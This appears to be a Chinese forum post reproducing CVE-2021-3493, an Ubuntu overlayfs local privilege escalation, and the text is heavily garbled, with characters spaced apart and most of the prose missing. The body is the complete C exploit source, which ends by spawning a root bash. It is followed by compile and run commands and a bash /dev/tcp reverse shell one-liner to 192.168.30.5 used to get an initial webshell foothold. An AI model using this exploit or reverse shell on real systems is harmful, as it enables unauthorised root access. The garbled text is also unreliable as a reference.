[7576] 2021-04-24_漏洞复现CVE-2021-3493Ubuntu内核提权

文档创建者:s7ckTeam
浏览次数:5
最后更新:2025-01-17
2021-04-24_漏洞复现CVE-2021-3493Ubuntu内核提权   |   C V E - 2 0 2 1 - 3 4 9 3   U b u n t u   s p a c e m a n   F 1 2 s e c   2 0 2 1 - 0 4 - 2 4   #   , 1 1 U b u n t u   r o o t L i n u x o v e r l a y f s U b u n t u U b u n t u o v e r l a y f s 使 使 U b u n t u   2 0 . 1 0 U b u n t u   2 0 . 0 4   L T S U b u n t u   1 8 . 0 4   L T S U b u n t u   1 6 . 0 4   L T S U b u n t u   1 4 . 0 4   E S M U b u n t u   1 6 . 0 4   L T S   g c c E X P
E X P h t t p s : / / g i t h u b . c o m / b r i s k e t s / C V E - 2 0 2 1 - 3 4 9 3 # d e f i n e   _ G N U _ S O U R C E # i n c l u d e   & l t ; s t d i o . h > # i n c l u d e   & l t ; s t d l i b . h > # i n c l u d e   & l t ; s t r i n g . h > # i n c l u d e   & l t ; u n i s t d . h > # i n c l u d e   & l t ; f c n t l . h > # i n c l u d e   & l t ; e r r . h > # i n c l u d e   & l t ; e r r n o . h > # i n c l u d e   & l t ; s c h e d . h > # i n c l u d e   & l t ; s y s / t y p e s . h > # i n c l u d e   & l t ; s y s / s t a t . h > # i n c l u d e   & l t ; s y s / w a i t . h > # i n c l u d e   & l t ; s y s / m o u n t . h > / / # i n c l u d e   & l t ; a t t r / x a t t r . h > / / # i n c l u d e   & l t ; s y s / x a t t r . h > i n t   s e t x a t t r ( c o n s t   c h a r   * p a t h ,   c o n s t   c h a r   * n a m e ,   c o n s t   v o i d   * v a l u e ,   s i z e _ t   s i z e ,   i n t   f l a g s ) ; # d e f i n e   D I R _ B A S E         " . / o v l c a p " # d e f i n e   D I R _ W O R K         D I R _ B A S E   " / w o r k " # d e f i n e   D I R _ L O W E R       D I R _ B A S E   " / l o w e r " # d e f i n e   D I R _ U P P E R       D I R _ B A S E   " / u p p e r " # d e f i n e   D I R _ M E R G E       D I R _ B A S E   " / m e r g e " # d e f i n e   B I N _ M E R G E       D I R _ M E R G E   " / m a g i c " # d e f i n e   B I N _ U P P E R       D I R _ U P P E R   " / m a g i c " s t a t i c   v o i d   x m k d i r ( c o n s t   c h a r   * p a t h ,   m o d e _ t   m o d e ) {         i f   ( m k d i r ( p a t h ,   m o d e )   = =   - 1   & a m p ; & a m p ;   e r r n o   ! =   E E X I S T )                 e r r ( 1 ,   " m k d i r   % s " ,   p a t h ) ; } s t a t i c   v o i d   x w r i t e f i l e ( c o n s t   c h a r   * p a t h ,   c o n s t   c h a r   * d a t a ) {         i n t   f d   =   o p e n ( p a t h ,   O _ W R O N L Y ) ;         i f   ( f d   = =   - 1 )                 e r r ( 1 ,   " o p e n   % s " ,   p a t h ) ;         s s i z e _ t   l e n   =   ( s s i z e _ t )   s t r l e n ( d a t a ) ;         i f   ( w r i t e ( f d ,   d a t a ,   l e n )   ! =   l e n )                 e r r ( 1 ,   " w r i t e   % s " ,   p a t h ) ;         c l o s e ( f d ) ; } s t a t i c   v o i d   x c o p y f i l e ( c o n s t   c h a r   * s r c ,   c o n s t   c h a r   * d s t ,   m o d e _ t   m o d e ) {         i n t   f i ,   f o ;         i f   ( ( f i   =   o p e n ( s r c ,   O _ R D O N L Y ) )   = =   - 1 )                 e r r ( 1 ,   " o p e n   % s " ,   s r c ) ;
                e r r ( 1 ,   " o p e n   % s " ,   s r c ) ;         i f   ( ( f o   =   o p e n ( d s t ,   O _ W R O N L Y   |   O _ C R E A T ,   m o d e ) )   = =   - 1 )                 e r r ( 1 ,   " o p e n   % s " ,   d s t ) ;         c h a r   b u f [ 4 0 9 6 ] ;         s s i z e _ t   r d ,   w r ;         f o r   ( ; ; )   {                 r d   =   r e a d ( f i ,   b u f ,   s i z e o f ( b u f ) ) ;                 i f   ( r d   = =   0 )   {                         b r e a k ;                 }   e l s e   i f   ( r d   = =   - 1 )   {                         i f   ( e r r n o   = =   E I N T R )                                 c o n t i n u e ;                         e r r ( 1 ,   " r e a d   % s " ,   s r c ) ;                 }                 c h a r   * p   =   b u f ;                 w h i l e   ( r d   >   0 )   {                         w r   =   w r i t e ( f o ,   p ,   r d ) ;                         i f   ( w r   = =   - 1 )   {                                 i f   ( e r r n o   = =   E I N T R )                                         c o n t i n u e ;                                 e r r ( 1 ,   " w r i t e   % s " ,   d s t ) ;                         }                         p   + =   w r ;                         r d   - =   w r ;                 }         }         c l o s e ( f i ) ;         c l o s e ( f o ) ; } s t a t i c   i n t   e x p l o i t ( ) {         c h a r   b u f [ 4 0 9 6 ] ;         s p r i n t f ( b u f ,   " r m   - r f   ' % s / ' " ,   D I R _ B A S E ) ;         s y s t e m ( b u f ) ;         x m k d i r ( D I R _ B A S E ,   0 7 7 7 ) ;         x m k d i r ( D I R _ W O R K ,     0 7 7 7 ) ;         x m k d i r ( D I R _ L O W E R ,   0 7 7 7 ) ;         x m k d i r ( D I R _ U P P E R ,   0 7 7 7 ) ;         x m k d i r ( D I R _ M E R G E ,   0 7 7 7 ) ;         u i d _ t   u i d   =   g e t u i d ( ) ;         g i d _ t   g i d   =   g e t g i d ( ) ;         i f   ( u n s h a r e ( C L O N E _ N E W N S   |   C L O N E _ N E W U S E R )   = =   - 1 )                 e r r ( 1 ,   " u n s h a r e " ) ;         x w r i t e f i l e ( " / p r o c / s e l f / s e t g r o u p s " ,   " d e n y " ) ;         s p r i n t f ( b u f ,   " 0   % d   1 " ,   u i d ) ;
        s p r i n t f ( b u f ,   " 0   % d   1 " ,   u i d ) ;         x w r i t e f i l e ( " / p r o c / s e l f / u i d _ m a p " ,   b u f ) ;         s p r i n t f ( b u f ,   " 0   % d   1 " ,   g i d ) ;         x w r i t e f i l e ( " / p r o c / s e l f / g i d _ m a p " ,   b u f ) ;         s p r i n t f ( b u f ,   " l o w e r d i r = % s , u p p e r d i r = % s , w o r k d i r = % s " ,   D I R _ L O W E R ,   D I R _ U P P E R ,   D I R _ W O R K ) ;         i f   ( m o u n t ( " o v e r l a y " ,   D I R _ M E R G E ,   " o v e r l a y " ,   0 ,   b u f )   = =   - 1 )                 e r r ( 1 ,   " m o u n t   % s " ,   D I R _ M E R G E ) ;         / /   a l l + e p         c h a r   c a p [ ]   =   " x 0 1 x 0 0 x 0 0 x 0 2 x f f x f f x f f x f f x 0 0 x 0 0 x 0 0 x 0 0 x f f x f f x f f x f f x 0 0 x 0 0 x 0 0 x 0 0 " ;         x c o p y f i l e ( " / p r o c / s e l f / e x e " ,   B I N _ M E R G E ,   0 7 7 7 ) ;         i f   ( s e t x a t t r ( B I N _ M E R G E ,   " s e c u r i t y . c a p a b i l i t y " ,   c a p ,   s i z e o f ( c a p )   -   1 ,   0 )   = =   - 1 )                 e r r ( 1 ,   " s e t x a t t r   % s " ,   B I N _ M E R G E ) ;         r e t u r n   0 ; } i n t   m a i n ( i n t   a r g c ,   c h a r   * a r g v [ ] ) {         i f   ( s t r s t r ( a r g v [ 0 ] ,   " m a g i c " )   | |   ( a r g c   >   1   & a m p ; & a m p ;   ! s t r c m p ( a r g v [ 1 ] ,   " s h e l l " ) ) )   {                 s e t u i d ( 0 ) ;                 s e t g i d ( 0 ) ;                 e x e c l ( " / b i n / b a s h " ,   " / b i n / b a s h " ,   " - - n o r c " ,   " - - n o p r o f i l e " ,   " - i " ,   N U L L ) ;                 e r r ( 1 ,   " e x e c l   / b i n / b a s h " ) ;         }         p i d _ t   c h i l d   =   f o r k ( ) ;         i f   ( c h i l d   = =   - 1 )                 e r r ( 1 ,   " f o r k " ) ;         i f   ( c h i l d   = =   0 )   {                 _ e x i t ( e x p l o i t ( ) ) ;         }   e l s e   {                 w a i t p i d ( c h i l d ,   N U L L ,   0 ) ;         }         e x e c l ( B I N _ U P P E R ,   B I N _ U P P E R ,   " s h e l l " ,   N U L L ) ;         e r r ( 1 ,   " e x e c l   % s " ,   B I N _ U P P E R ) ; } g c c   e x p l o i t . c   - o   e x p l o i t c h m o d   + x   e x p l o i t . / e x p l o i t < / c o d e >
w w w 便 使 便 使 w e b w w w 使 使 e x p 7 7 7 w e b s h e l l s h e l l b a s h k a l i 使 使 U b u n t u s h e l l w w w b a s h   - i   > &   / d e v / t c p / 1 9 2 . 1 6 8 . 3 0 . 5 / 3 3 4 4   0 > & 1 g c c   e x p l o i t . c   - o   e x p l o i t c h m o d   + x   e x p l o i t . / e x p l o i t
使 使       |   s q l    
      |   g e t s h e l l ~
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则